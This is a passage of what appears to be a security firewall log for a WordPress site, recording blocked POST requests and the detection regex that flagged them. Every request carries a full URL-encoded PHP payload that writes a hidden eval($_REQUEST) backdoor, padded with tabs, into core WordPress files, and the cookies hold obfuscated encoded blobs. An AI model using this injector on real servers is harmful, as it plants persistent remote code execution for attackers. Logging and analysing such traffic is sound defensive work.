Safari\/537.36\n\nyg=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Cookie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yXvTqp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:52:49","148.113.9.51","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rx:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Cookie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yXvTqp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-length:2042\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpatvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\n\nrx=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Cookie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yXvTqp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:53:04","103.136.211.220","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Xj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Cookie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yXvTqp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-length:2042\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJTbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\n\nXj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Cookie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yXvTqp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:53:07","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Cookie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yXvTqp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\naccept-encoding:gzip,deflate\nsec-fetch-user:?1\ncontent-length:2065\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Cookie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yXvTqp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 13:53:16","54.36.177.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Qc:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status407.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrwFGL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-length:2064\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHJZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\n\nQc=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status407.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrwFGL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:53:20","107.155.87.193","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Gt:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status407.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrwFGL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-length:2064\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE3DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\n\nGt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status407.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrwFGL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
